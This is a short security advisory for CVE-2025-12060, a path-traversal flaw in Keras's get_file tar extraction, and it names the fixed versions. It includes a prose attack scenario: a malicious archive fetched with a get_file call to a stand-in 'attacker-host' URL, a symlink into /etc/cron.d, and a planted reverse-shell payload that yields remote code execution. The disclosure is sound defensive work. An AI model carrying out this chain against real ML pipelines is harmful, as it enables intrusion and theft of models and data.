CVE-2025-12060

The keras.utils.get_file API in Keras, when used with the extract=True option for tar archives, is vulnerable to a path traversal attack. The utility uses Python's tarfile.extractall function without the filter="data" feature. A remote attacker can craft a malicious tar archive containing special symlinks, which, when extracted, allows them to write arbitrary files to any location on the filesystem outside of the intended destination folder. This vulnerability is linked to the underlying Python tarfile weakness, identified as CVE-2025-4517. Note that upgrading Python to one of the versions that fix CVE-2025-4517 (e.g. Python 3.13.4) is not enough. One additionally needs to upgrade Keras to a version with the fix (Keras 3.12).

Adversary hosts a malicious dataset archive at a URL that appears legitimate — either via a typosquatted dataset mirror, a compromised data host, or a man-in-the-middle on an HTTP download. An MLOps pipeline or data scientist calls keras.utils.get_file('https://attacker-host/imagenet-subset.tar.gz', extract=True). The tar archive contains a symlink entry resolving to /etc/cron.d/ml-runner, followed by a file entry that writes a reverse shell payload to that symlink target. Keras calls tarfile.extractall without filter='data', the symlink resolves outside the destination, and the payload lands on the host. On next cron tick, the attacker has RCE as the ML training user — often with GPU cluster access, model weights, and training data.